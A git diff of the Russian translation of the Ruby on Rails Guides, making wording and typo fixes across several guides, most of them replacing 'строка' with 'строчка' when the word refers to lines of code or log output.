f127da91..d53e5915 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -107,7 +107,7 @@ Rails 3.2 поставляется с прекрасной возможност ### Тегированное логирование -При запуске многопользовательского приложения может сильно помочь фильтрация в логе, кто что делал. TaggedLogging в Active Support помогает это сделать точным, помечая строки лога поддоменами, id запросов и чем угодно, что поможет вам отладить такие приложения. +При запуске многопользовательского приложения может сильно помочь фильтрация в логе, кто что делал. TaggedLogging в Active Support помогает это сделать точным, помечая строчки лога поддоменами, id запросов и чем угодно, что поможет вам отладить такие приложения. Документация ------------ @@ -135,7 +135,7 @@ Railties * Скаффолд возвращает 204 No Content для API запросов без содержимого. Это позволяет скаффолду работать с jQuery "из коробки". -* Обновлена промежуточная программа `Rails::Rack::Logger`, чтобы добавлять любые теги, установленные в `config.log_tags`, в `ActiveSupport::TaggedLogging`. Это позволяет легко тегировать строки лога отладочной информацией, такой как поддомен и id запроса -- оба очень полезны при отладке production многопользовательских приложений. +* Обновлена промежуточная программа `Rails::Rack::Logger`, чтобы добавлять любые теги, установленные в `config.log_tags`, в `ActiveSupport::TaggedLogging`. Это позволяет легко тегировать строчки лога отладочной информацией, такой как поддомен и id запроса -- оба очень полезны при отладке production многопользовательских приложений. * Опции по умолчанию для `rails new` могут быть установлены в `~/.railsrc`. Можно указать дополнительные аргументы командной строки, используемые каждый раз при запуске 'rails new', в конфигурационном файле `.railsrc` в домашней директории. diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index fb470989..45e5a1ca 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -116,8 +116,8 @@ model.attributes # => {field_without_db_column: [1, 2, 3]} Test Runner вдохновлялся `RSpec`, `minitest-reporters`, `maxitest` и другими. Он включает некоторые из этих значимых улучшений: -- Запуск одиночного теста с помощью номера строки теста. -- Запуск нескольких тестов, определяя номера строк тестов. +- Запуск одиночного теста с помощью номера строчки теста. +- Запуск нескольких тестов, определяя номера строчек тестов. - Улучшенные сообщения об падениях, что также упрощает перезапуск упавших тестов. - Быстрое падение с помощью опции `-f` для немедленной остановки в случае падения, вместо ожидания полного завершения тестового набора. - Отложенный вывод теста, пока не закончится полный тестовый прогон, с помощью опции `-d`. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index bb48a48d..54354203 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -905,7 +905,7 @@ class ClientsController < ApplicationController end ``` -Для того, чтобы этот пример заработал, нужно добавить PDF тип MIME в Rails. Это можно сделать, добавив следующую строку в файл `config/initializers/mime_types.rb`: +Для того, чтобы этот пример заработал, нужно добавить PDF тип MIME в Rails. Это можно сделать, добавив следующую строчку в файл `config/initializers/mime_types.rb`: ```ruby Mime::Type.register "application/pdf", :pdf diff --git a/source/active_job_basics.md b/source/active_job_basics.md index f7589283..16e58995 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -243,7 +243,7 @@ class GuestsCleanupJob < ApplicationJob end ``` -Макрос-методы класса также могут принимать блок. Рассмотрите возможность использования этого макроса, если код внутри блока настолько короток, что он помещается в одну строку. Например, можно отправлять показатели для каждого помещенного в очередь задания. +Макрос-методы класса также могут принимать блок. Рассмотрите возможность использования этого макроса, если код внутри блока настолько короток, что он помещается в одну строчку. Например, можно отправлять показатели для каждого помещенного в очередь задания. ```ruby class ApplicationJob diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index e4383aca..d82d671d 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -40,7 +40,7 @@ class User < ApplicationRecord end ``` -Макро-методы класса также могут получать блок. Их можно использовать, если код внутри блока такой короткий, что помещается в одну строку. +Макро-методы класса также могут получать блок. Их можно использовать, если код внутри блока такой короткий, что помещается в одну строчку. ```ruby class User < ApplicationRecord @@ -305,7 +305,7 @@ end ### Использование `:if` и `:unless` с `Proc` -Наконец, можно связать `:if` и `:unless` с объектом `Proc`. Этот вариант более всего подходит при написании коротких методов, обычно в одну строку. +Наконец, можно связать `:if` и `:unless` с объектом `Proc`. Этот вариант более всего подходит при написании коротких методов, обычно однострочных. ```ruby class Order < ApplicationRecord diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 5d14d585..d1bd3742 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -186,7 +186,7 @@ end Active Record предлагает множество предопределенных валидационных хелперов, которые вы можете использовать прямо внутри ваших определений класса. Эти хелперы предоставляют общие правила валидации. Каждый раз, когда валидация проваливается, сообщение об ошибке добавляется в коллекцию `errors` объекта, и это сообщение связывается с атрибутом, который подлежал валидации. -Каждый хелпер принимает произвольное количество имен атрибутов, поэтому в одной строке кода можно добавить валидации одинакового вида для нескольких атрибутов. +Каждый хелпер принимает произвольное количество имен атрибутов, поэтому в одной строчке кода можно добавить валидации одинакового вида для нескольких атрибутов. Они все принимают опции `:on` и `:message`, которые определяют, когда валидация должна быть запущена, и какое сообщение должно быть добавлено в коллекцию `errors`, если она провалится. Опция `:on` принимает одно из значений `:create` или `:update`. Для каждого валидационного хелпера есть свое сообщение об ошибке по умолчанию. Эти сообщения используются, если не определена опция `:message`. Давайте рассмотрим каждый из доступных хелперов. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index c37604b4..406ab2cd 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -30,7 +30,7 @@ gem 'uglifier' gem 'coffee-rails' ``` -Использование опции `--skip-sprockets` предотвратит Rails от их добавления в Gemfile, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в Gemfile. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Нужно убрать оператор комментирования, если в дальнейшем вы захотите включить файлопровод: +Использование опции `--skip-sprockets` предотвратит Rails от их добавления в Gemfile, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в Gemfile. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: ```ruby # require "sprockets/railtie" @@ -293,7 +293,7 @@ $('#logo').attr src: "<%= asset_path('logo.png') %>" Sprockets использует файлы манифеста для определения, какие ассеты включать и отдавать. Эти файлы манифеста содержат _директивы_ - инструкции, говорящие Sprockets, какие файлы требуются для создания отдельного файла CSS или JavaScript. С помощью этих директив Sprockets загружает указанные файлы, при необходимости их обрабатывает, соединяет в отдельный файл и затем сжимает их (основываясь на значении `Rails.application.config.assets.js_compressor`). При отдаче одного файла, а не нескольких, время загрузки страницы значительно уменьшается, поскольку браузер делает меньше запросов. Компрессия также уменьшает размер файла, что позволяет браузеру быстрее его скачать. -К примеру, новое приложение Rails включает дефолтный файл `app/assets/javascripts/application.js`, содержащий следующие строки: +К примеру, новое приложение Rails включает дефолтный файл `app/assets/javascripts/application.js`, содержащий следующие строчки: ```js // ... @@ -308,7 +308,7 @@ Sprockets использует файлы манифеста для опреде Директивы обрабатываются сверху вниз, но порядок, в котором файлы включаются с помощью `require_tree` не определен. Не следует полагаться на какой-то определенный порядок при ее использовании. Если хотите убедиться, что какой-то определенный JavaScript закончится до некоторого другого в объединенном файле, затребуйте нужный файл раньше в манифесте. Отметьте, что семейство директив `require` предотвращает повторное включения файлов в результирующий файл. -Rails также создает дефолтный файл `app/assets/stylesheets/application.css`, содержащий эти строки: +Rails также создает дефолтный файл `app/assets/stylesheets/application.css`, содержащий эти строчки: ```css /* ... @@ -463,7 +463,7 @@ NOTE: В нормальных обстоятельствах опция `config. $ RAILS_ENV=production bin/rails assets:precompile ``` -Capistrano (версии 2.15.1 и выше) включает рецепт для управления этим при деплое. Добавьте следующую строку в `Capfile`: +Capistrano (версии 2.15.1 и выше) включает рецепт для управления этим при деплое. Добавьте следующую строчку в `Capfile`: ```erb load 'deploy/assets' @@ -723,7 +723,7 @@ http://mycdnsubdomain.fictional-cdn.com/assets/smile.png Одним из вариантов для сжатия CSS является YUI. [YUI CSS compressor](https://yui.github.io/yuicompressor/css.html) предоставляет минификацию. -Следующая строка включает сжатие YUI и требует гем `yui-compressor`. +Следующая строчка включает сжатие YUI и требует гем `yui-compressor`. ```ruby config.assets.css_compressor = :yui @@ -741,7 +741,7 @@ config.assets.css_compressor = :sass Gemfile по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для NodeJS) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. -Следующая строка вызывает `uglifier` для сжатия JavaScript. +Следующая строчка вызывает `uglifier` для сжатия JavaScript. ```ruby config.assets.js_compressor = :uglifier @@ -872,7 +872,7 @@ config.assets.version = '1.0' В `development.rb`: ```ruby -# Разворачивать строки, загружающие ассеты +# Разворачивать строчки, загружающие ассеты config.assets.debug = true ``` diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 4ec4278e..cb6ed588 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -86,7 +86,7 @@ TIP: Хранилища кэша, такие как Memcached, автомати <%= render partial: 'products/product', collection: @products, cached: true %> ``` -Все закэшированные шаблоны из предыдущих отображений будут считаны за один раз с гораздо большей скоростью. Помимо этого. те шаблоны, что еще не были закэшированы, будут записаны в кэш и извлечены при следующем рендере. +Все закэшированные шаблоны из предыдущих отображений будут считаны за один раз с гораздо большей скоростью. Помимо этого, те шаблоны, что еще не были закэшированы, будут записаны в кэш и извлечены при следующем рендере. ### Кэширование матрешкой @@ -136,7 +136,7 @@ render(partial: 'hotels/hotel', collection: @hotels, cached: true) Будет загружен файл с именем `hotels/hotel.erb`. -Другим вариантом является включение полного имени файла парциала для рендеринга. +Другим вариантом является включение полного имени файла партиала для рендеринга. ```ruby render(partial: 'hotels/hotel.html.erb', collection: @hotels, cached: true) diff --git a/source/command_line.md b/source/command_line.md index 30d86eaa..bd98678b 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -491,7 +491,7 @@ app/models/article.rb: * [ 23] Have to fix this one before pushing! ``` -NOTE. При использовании определенных и произвольных аннотаций, имя аннотации (FIXME, BUG и т.д.) не отображается в строках результата. +NOTE. При использовании определенных и произвольных аннотаций, имя аннотации (FIXME, BUG и т.д.) не отображается в строчках результата. По умолчанию `rails notes` будет искать в директориях `app`, `config`, `db`, `lib` и `test`. Если желаете искать в иных директориях, их можно настроить с помощью опции `config.annotations.register_directories`. @@ -535,7 +535,7 @@ Rails поставляется с тестовым набором под наз ### Прочее -* `rails stats` великолепно для обзора статистики вашего кода, отображает такие вещи, как KLOCs (тысячи строк кода) и ваш код для тестирования показателей. +* `rails stats` великолепно для обзора статистики вашего кода, отображает такие вещи, как KLOCs (тысячи строчек кода) и ваш код для тестирования показателей. * `rails secret` даст псевдо-случайный ключ для использования в качестве секретного ключа сессии. * `rails time:zones:all` перечислит все временные зоны, о которых знает Rails. @@ -650,6 +650,6 @@ development: ... ``` -Это также сгенерирует несколько строк в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. +Это также сгенерирует несколько строчек в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. NOTE. Единственная хитрость с использованием опции SCM состоит в том, что сначала нужно создать директорию для приложения, затем инициализировать ваш SCM, и лишь затем можно запустить команду `rails new` для генерация основы вашего приложения. diff --git a/source/configuring.md b/source/configuring.md index 737232b1..3e008466 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -107,7 +107,7 @@ Rails будет использовать эту конкретную настр * `config.log_level` определяет многословность логгера Rails. Эта опция по умолчанию `:debug` для всех сред. Доступные уровни лога: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`. -* `config.log_tags` принимает список: методов, на которые отвечает объект `request`, объект `Proc`, который принимает `request` объект, или что-то, отвечающее на `to_s`. С помощью этого становится просто тегировать строки лога отладочной информацией, такой как поддомен и id запроса - очень полезно для отладки многопользовательского приложения. +* `config.log_tags` принимает список: методов, на которые отвечает объект `request`, объект `Proc`, который принимает `request` объект, или что-то, отвечающее на `to_s`. С помощью этого становится просто тегировать строчки лога отладочной информацией, такой как поддомен и id запроса - очень полезно для отладки многопользовательского приложения. * `config.logger` это логгер, который будет использован для `Rails.logger` и любого логирования, относящегося к Rails, такого как `ActiveRecord::Base.logger`. По умолчанию это экземпляр `ActiveSupport::TaggedLogging`, оборачивающий экземпляр `ActiveSupport::Logger`, который пишет лог в директорию `log/`. Можно предоставить произвольный логгер, чтобы получить полную совместимость, нужно следовать следующим указаниям: @@ -524,7 +524,7 @@ config.middleware.delete Rack::MethodOverride * `config.action_view.logger` принимает логгер, соответствующий интерфейсу Log4r или классу Ruby по умолчанию Logger, который затем используется для логирования информации от Action View. Установите `nil` для отключения логирования. -* `config.action_view.erb_trim_mode` задает режим обрезки, который будет использоваться ERB. По умолчанию `'-'`, которая включает обрезку висячих пробелов и новых строк при использовании `<%= -%>` или `<%= =%>`. Подробнее смотрите в [документации по Erubis](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces). +* `config.action_view.erb_trim_mode` задает режим обрезки, который будет использоваться ERB. По умолчанию `'-'`, которая включает обрезку висячих пробелов и новых строчек при использовании `<%= -%>` или `<%= =%>`. Подробнее смотрите в [документации по Erubis](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces). * `config.action_view.embed_authenticity_token_in_remote_forms` позволяет установить поведение по умолчанию для `authenticity_token` в формах с `remote: true`. По умолчанию установлен `false`, что означает, что remote формы не включают `authenticity_token`, что полезно при фрагментарном кэшировании формы. Remote формы получают аутентификацию из тега `meta`, поэтому встраивание бесполезно, если, конечно, вы не поддерживаете браузеры без JavaScript. В противном случае можно либо передать `authenticity_token: true` как опцию для формы, либо установить эту настройку в `true`. @@ -1087,7 +1087,7 @@ WARNING: Можно помещать свои инициализаторы до * `i18n.callbacks`: В среде development, настраивает колбэк `to_prepare`, вызывающий `I18n.reload!`, если любая из локалей изменилась с последнего запроса. В режиме production этот колбэк запускается один раз при первом запросе. -* `active_support.deprecation_behavior`: Настраивает отчеты об устаревании для сред, по умолчанию `:log` для development, `:notify` для production и `:stderr` для test. Если для `config.active_support.deprecation` не установлено значение, то инициализатор подскажет пользователю сконфигурировать эту строку в файле `config/environments` текущей среды. Можно установить массив значений. +* `active_support.deprecation_behavior`: Настраивает отчеты об устаревании для сред, по умолчанию `:log` для development, `:notify` для production и `:stderr` для test. Если для `config.active_support.deprecation` не установлено значение, то инициализатор подскажет пользователю сконфигурировать эту строчку в файле `config/environments` текущей среды. Можно установить массив значений. * `active_support.initialize_time_zone`: Устанавливает для приложения временную зону по умолчанию, основываясь на настройке `config.time_zone`, которая по умолчанию равна "UTC". diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 08eaadc9..93ade2af 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -395,7 +395,7 @@ $ git commit -a - создав пункт списка, начав строчку с черточки (-) или звездочки (*) -- перенося динные строки по 72 символа и отступая дополнительные строки +- перенося длинные строчки по 72 символа и отступая дополнительные строчки на 2 символа для читаемости ``` diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 9459f6e3..1a0a14e2 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -254,7 +254,7 @@ end ### Среда -Как только приложение вызывает метод `byebug`, отладчик будет запущен в среде отладчика в окне терминала, в котором запущен сервер приложения, и будет представлена строка отладчика `(byebug)`. Перед строкой ввода будет отображен код возле строчки, которая выполняется, и текущая строчка будет помечена '=>', например так: +Как только приложение вызывает метод `byebug`, отладчик будет запущен в среде отладчика в окне терминала, в котором запущен сервер приложения, и будет представлена строка отладчика `(byebug)`. Перед строкой ввода будет отображен код возле строчки, которая должна быть запущена, и текущая строчка будет помечена '=>', например так: ``` [1, 10] in /PathTo/project/app/controllers/articles_controller.rb @@ -429,7 +429,7 @@ Processing by ArticlesController#index as HTML (byebug) ``` -Доступные переменные те же самые, как если бы вы запускали код строка за строкой. В конце концов, это то, что отлаживается. +Доступные переменные такие же, как если бы был запущен код строчка за строчкой. В конце концов, это то, что отлаживается. Также можно использовать команды `up [n]` и `down [n]` чтобы изменить контекст на _n_ фреймов в стеке вверх или вниз соответственно. _n_ по умолчанию один. Вверх в этом случае обозначает фреймы с большим числом, а вниз — с меньшим числом. @@ -500,7 +500,7 @@ Processing by ArticlesController#index as HTML :@_config, :@articles] ``` -Теперь `@articles` включена в переменные экземпляра, поскольку определяющая ее строка была выполнена. +Теперь `@articles` включена в переменные экземпляра, поскольку определяющая ее строчка была выполнена. TIP: Также можно шагнуть в режим **irb** с командой `irb` (конечно!). Это запустит сессию irb в контексте, который ее вызвал. @@ -559,7 +559,7 @@ TIP: Также можно шагнуть в режим **irb** с команд Теперь вы знаете, где находитесь в запущенной трассировке, и способны напечатать доступные переменные. Давайте продолжим и ознакомимся с выполнением приложения. -Используйте `step` (сокращенно `s`) для продолжения запуска вашей программы до следующей логической точки останова и возврата контроля debugger. `_next_` похожа на `step`, но `step` останавливается на следующей строчке выполняемого кода, делая лишь один шаг, а `next` перемещает на следующую строку без входа внутрь методов. +Используйте `step` (сокращенно `s`) для продолжения запуска вашей программы до следующей логической точки останова и возврата контроля debugger. `_next_` похожа на `step`, но `step` останавливается на следующей строчке выполняемого кода, делая лишь один шаг, а `next` перемещает на следующую строчку без входа внутрь методов. Например, рассмотрим следующую ситуацию: @@ -623,7 +623,7 @@ TIP: Также можно использовать `step n` или `next n` д ### Точки останова -Точка останова останавливает ваше приложение, когда достигается определенная точка в программе. В этой строчке вызывается оболочка отладчика. +Точка останова останавливает приложение, когда достигается определенная точка в программе. В этой строчке вызывается оболочка отладчика. Можете добавлять точки останова динамически с помощью команды `break` (или просто `b`). Имеются 3 возможных способа ручного добавления точек останова: diff --git a/source/engines.md b/source/engines.md index b6465945..0284c63d 100644 --- a/source/engines.md +++ b/source/engines.md @@ -1,7 +1,7 @@ Engine для начинающих ===================== -В этом руководстве вы узнаете об engine-ах, и как они могут быть использованы для предоставления дополнительного функционала содержащим их приложениям с помощью понятного и простого для понимания интерфейса. +В этом руководстве вы узнаете об engine, и как они могут быть использованы для предоставления дополнительного функционала содержащим их приложениям с помощью понятного и простого для понимания интерфейса. После прочтения этого руководства, вы узнаете: @@ -19,15 +19,15 @@ Engine можно рассматривать как миниатюрное пр Следовательно, об engine и приложении можно говорить как примерно об одном и том же, с небольшими различиями, как вы увидите в этом руководстве. Engine и приложение также используют одинаковую структуру. -Engine также близок к плагину, они оба имеют одинаковую структуру директории `lib` и оба создаются с помощью генератора `rails plugin new`. Разница в том, что engine рассматривается Rails как "full plugin" (на что указывает опция `--full`, передаваемая в команду генератора). Фактически, тут мы будем использовать опцию `--mountable`, включающую все особенности `--full` и кое-что еще. Впрочем, в этом руководстве эти "full plugins" будут называться просто "engine". Engine **может** быть плагином, а плагин **может** быть engine-ом. +Engine также близок к плагину, они оба имеют одинаковую структуру директории `lib` и оба создаются с помощью генератора `rails plugin new`. Разница в том, что engine рассматривается Rails как "full plugin" (на что указывает опция `--full`, передаваемая в команду генератора). Фактически, тут мы будем использовать опцию `--mountable`, включающую все особенности `--full` и кое-что еще. Впрочем, в этом руководстве эти "full plugins" будут называться просто "engine". Engine **может** быть плагином, а плагин **может** быть engine. Engine, который будет создан в этом руководстве, называется "blorgh". Этот engine предоставит функционал блога содержащим его приложениям, позволяя создавать новые статьи и комментарии. В начале этого руководства мы поработаем отдельно с самим engine, но в последующих разделах посмотрим, как внедрить его в приложение. Engine также может быть отделен от содержащих его приложений. Это означает, что приложение может иметь маршрутный хелпер, такой как `articles_path`, и использовать engine, также предоставляющий путь с именем `articles_path`, и они оба не будут конфликтовать. Наряду с этим, контроллеры, модели и имена таблиц также выделены в пространство имен. Вы узнаете, как это сделать, позже в этом руководстве. -Важно все время помнить, что приложение **всегда** должно иметь приоритет над его engine-ами. Приложение - это объект, имеющий последнее слово в том, что происходит в его среде. Engine должен только улучшать ее, но не изменять радикально. +Важно все время помнить, что приложение **всегда** должно иметь приоритет над его engine. Приложение - это объект, имеющий последнее слово в том, что происходит в его среде. Engine должен только улучшать ее, но не изменять радикально. -Для демонстрации других engine-ов, смотрите [Devise](https://github.com/plataformatec/devise), engine, предоставляющий аутентификацию для содержащих его приложений, или [Thredded](https://github.com/thredded/thredded), engine, представляющий функционал форума. Также имеется [Spree](https://github.com/spree/spree), предоставляющий платформу электронной коммерции, и [RefineryCMS](https://github.com/refinery/refinerycms), CMS engine. +Для демонстрации других engine, смотрите [Devise](https://github.com/plataformatec/devise), engine, предоставляющий аутентификацию для содержащих его приложений, или [Thredded](https://github.com/thredded/thredded), engine, представляющий функционал форума. Также имеется [Spree](https://github.com/spree/spree), предоставляющий платформу электронной коммерции, и [RefineryCMS](https://github.com/refinery/refinerycms), CMS engine. Наконец, engine не был бы возможен без работы James Adam, Piotr Sarnacki, Rails Core Team, и ряда других людей. Если вы с ними встретитесь, не забудьте поблагодарить! @@ -129,7 +129,7 @@ end Метод `isolate_namespace` заслуживает особого внимания. Этот вызов ответственен за изолирование контроллеров, моделей, маршрутов и прочего в их собственное пространство имен, подальше от подобных компонентов приложения. Без этого есть вероятность, что компоненты engine могут "просочиться" в приложение, вызвав нежелательные разрушения, или что важные компоненты engine могут быть переопределены таким же образом названными вещами в приложении. Один из примеров таких конфликтов - хелперы. Без вызова `isolate_namespace`, хелперы engine будут включены в контроллеры приложения. -NOTE: **Настойчиво** рекомендуется оставить строку `isolate_namespace` в определении класса `Engine`. Без этого созданные в engine классы **могут** конфликтовать с приложением. +NOTE: **Настойчиво** рекомендуется оставить строчку `isolate_namespace` в определении класса `Engine`. Без этого созданные в engine классы **могут** конфликтовать с приложением. Эта изоляция в пространство имен означает, что модель, созданная с помощью `bin/rails g model`, например `bin/rails g model article`, не будет называться `Article`, а будет помещена в пространство имен и названа `Blorgh::Article`. Кроме того, таблица для модели будет помещена в пространство имен, и станет `blorgh_articles`, а не просто `articles`. Подобно пространству имен моделей, контроллер с именем `ArticlesController` будет `Blorgh::ArticlesController`, и вьюхи для этого контроллера будут не в `app/views/articles`, а в `app/views/blorgh/articles`. Рассыльщики также помещены в пространство имен. @@ -139,9 +139,9 @@ NOTE: **Настойчиво** рекомендуется оставить ст В директории `app` имеются стандартные директории `assets`, `controllers`, `helpers`, `mailers`, `models` и `views`, с которыми вы уже знакомы по приложению. Директории `helpers`, `mailers` и `models` пустые, поэтому не описываются в этом разделе. Мы рассмотрим модели в следующем разделе, когда будем писать engine. -В директории `app/assets` имеются директории `images`, `javascripts` и `stylesheets`, которые, опять же, должны быть знакомы по приложению. Имеется одно отличие - каждая директория содержит поддиректорию с именем engine-а. Поскольку этот engine будет помещен в пространство имен, его ресурсы также будут помещены. +В директории `app/assets` имеются директории `images`, `javascripts` и `stylesheets`, которые, опять же, должны быть знакомы по приложению. Имеется одно отличие - каждая директория содержит поддиректорию с именем engine. Поскольку этот engine будет помещен в пространство имен, его ресурсы также будут помещены. -В директории `app/controllers` имеется директория `blorgh`, содержащая файл с именем `application_controller.rb`. Этот файл предоставит любой общий функционал для контроллеров engine-а. Директория `blorgh` - то место, в котором будут другие контроллеры engine-а. Помещая их в этой директории, вы предотвращаете их от возможного конфликта с идентично названными контроллерами других engine-ов или даже приложения. +В директории `app/controllers` имеется директория `blorgh`, содержащая файл с именем `application_controller.rb`. Этот файл предоставит любой общий функционал для контроллеров engine. Директория `blorgh` - то место, в котором будут другие контроллеры engine. Помещая их в этой директории, вы предотвращаете их от возможного конфликта с идентично названными контроллерами других engine или даже приложения. NOTE: Класс `ApplicationController` в engine называется так же, как и в приложении Rails, чтобы было проще преобразовать ваше приложение в engine. @@ -184,7 +184,7 @@ Rails.application.routes.draw do end ``` -Эта строка монтирует engine по пути `/blorgh`, что делает его доступным в приложении только по этому пути. +Эта строчка монтирует engine по пути `/blorgh`, что делает его доступным в приложении только по этому пути. В директории test имеется директория `test/integration`, в которой должны быть расположены интеграционные тесты для engine. Также могут быть созданы иные директории в `test`. Для примера, можно создать директорию `test/models` для тестов ваших моделей. @@ -241,7 +241,7 @@ create app/assets/stylesheets/scaffold.css Далее для этой модели вызывается генератор `test_unit`, создающий тест модели в `test/models/blorgh/article_test.rb` (а не в `test/models/article_test.rb`) и фикстуру в `test/fixtures/blorgh/articles.yml` (а не в `test/fixtures/articles.yml`). -После этого для ресурса вставляется строка в файл `config/routes.rb` engine-а. Эта строка - просто `resources :articles`, файл `config/routes.rb` engine-а стал таким: +После этого для ресурса вставляется строчка в файл `config/routes.rb` engine. Эта строчка - просто `resources :articles`, файл `config/routes.rb` engine стал таким: ```ruby Blorgh::Engine.routes.draw do @@ -323,14 +323,14 @@ create test/fixtures/blorgh/comments.yml $ bin/rails db:migrate ``` -Чтобы отображать комментарии на статью, отредактируйте `app/views/blorgh/articles/show.html.erb` и добавьте эту строку до ссылки "Edit": +Чтобы отображать комментарии на статью, отредактируйте `app/views/blorgh/articles/show.html.erb` и добавьте эту строчку до ссылки "Edit": ```html+erb

    Comments

    <%= render @article.comments %> ``` -Эта строчка требует, чтобы была связь `has_many` для комментариев, определенная в модели `Blorgh::Article`, которой сейчас нет. Чтобы ее определить, откройте `app/models/blorgh/article.rb` и добавьте эту строку в модель: +Эта строчка требует, чтобы была связь `has_many` для комментариев, определенная в модели `Blorgh::Article`, которой сейчас нет. Чтобы ее определить, откройте `app/models/blorgh/article.rb` и добавьте эту строчку в модель: ```ruby has_many :comments @@ -354,7 +354,7 @@ NOTE: Поскольку `has_many` определена в классе вну <%= render "blorgh/comments/form" %> ``` -Затем необходимо, чтобы существовал партиал, который рендерит эта строка. Создайте новую директорию `app/views/blorgh/comments` и в ней новый файл по имени `_form.html.erb`, содержащий следующий код для создания необходимого партиала: +Затем необходимо, чтобы существовал партиал, который рендерит эта строчка. Создайте новую директорию `app/views/blorgh/comments` и в ней новый файл по имени `_form.html.erb`, содержащий следующий код для создания необходимого партиала: ```html+erb

    New comment

    @@ -367,7 +367,7 @@ NOTE: Поскольку `has_many` определена в классе вну <% end %> ``` -При подтверждении этой формы, она попытается выполнить запрос `POST` по маршруту `/articles/:article_id/comments` в engine. Сейчас этот маршрут не существует, но может быть создан с помощью изменения строки `resources :articles` в `config/routes.rb` на эти строки: +При подтверждении этой формы, она попытается выполнить запрос `POST` по маршруту `/articles/:article_id/comments` в engine. Сейчас этот маршрут не существует, но может быть создан с помощью изменения строчки `resources :articles` в `config/routes.rb` на эти строчки: ```ruby resources :articles do @@ -400,7 +400,7 @@ invoke css create app/assets/stylesheets/blorgh/comments.css ``` -Форма сделает запрос `POST` к `/articles/:article_id/comments`, который связан с экшном `create` в `Blorgh::CommentsController`. Этот экшн нужно создать и поместить следующие строки в определение класса в `app/controllers/blorgh/comments_controller.rb`: +Форма сделает запрос `POST` к `/articles/:article_id/comments`, который связан с экшном `create` в `Blorgh::CommentsController`. Этот экшн нужно создать и поместить следующие строчки в определение класса в `app/controllers/blorgh/comments_controller.rb`: ```ruby def create @@ -427,7 +427,7 @@ Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder], :for Engine не может найти партиал, требуемый для рендеринга комментариев. Rails сперва ищет его в директории приложения (`test/dummy`) `app/views`, а затем в директории engine `app/views`. Когда он не нашел его, выдал эту ошибку. Engine знает, что нужно искать в `blorgh/comments/_comment`, поскольку объект модели, которую он получает, класса `Blorgh::Comment`. -Сейчас этот партиал будет ответственен за рендеринг только текста комментария. Создайте новый файл `app/views/blorgh/comments/_comment.html.erb` и поместите в него эту строку: +Сейчас этот партиал будет ответственен за рендеринг только текста комментария. Создайте новый файл `app/views/blorgh/comments/_comment.html.erb` и поместите в него эту строчку: ```erb <%= comment_counter + 1 %>. <%= comment.text %> @@ -435,7 +435,7 @@ Engine не может найти партиал, требуемый для ре Локальная переменная `comment_counter` дается нам вызовом `<%= render @article.comments %>`, она определяется автоматически, и счетчик увеличивается с итерацией для каждого комментария. Он используется в этом примере для отображения числа рядом с каждым созданным комментарием. -Мы завершили функцию комментирования engine-а блога. Теперь настало время использовать его в приложении. +Мы завершили функцию комментирования engine блога. Теперь настало время использовать его в приложении. Внедрение в приложение ---------------------- @@ -472,7 +472,7 @@ gem 'blorgh', path: 'engines/blorgh' mount Blorgh::Engine, at: "/blog" ``` -Эта строка смонтирует engine в `/blog` приложения. Сделав его доступным в `http://localhost:3000/blog`, когда приложение запущено с помощью `rails server`. +Эта строчка смонтирует engine в `/blog` приложения. Сделав его доступным в `http://localhost:3000/blog`, когда приложение запущено с помощью `rails server`. NOTE: Другие engine, такие как Devise, управляют этим немного по другому, позволяя указывать в маршрутах свои хелперы (такие как `devise_for`). Эти хелперы делают примерно то же самое, монтируя части настраиваемого функционала engine на предопределенные пути. @@ -484,7 +484,7 @@ Engine содержит миграции для таблиц `blorgh_articles` $ bin/rails blorgh:install:migrations ``` -Если имеется несколько engine-ов, из которых необходимо скопировать миграции, используйте `railties:install:migrations`: +Если имеется несколько engine, из которых необходимо скопировать миграции, используйте `railties:install:migrations`: ```bash $ bin/rails railties:install:migrations @@ -499,7 +499,7 @@ Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh Первая временная метка (`[timestamp_1]`) будет текущим временем, а вторая временная метка (`[timestamp_2]`) будет текущим временем плюс секунда. Причиной для этого является то, что миграции для engine выполняются после всех существующих миграций приложения. -Для запуска этих миграций в контексте приложения просто выполните `bin/rails db:migrate`. При входе в engine по адресу 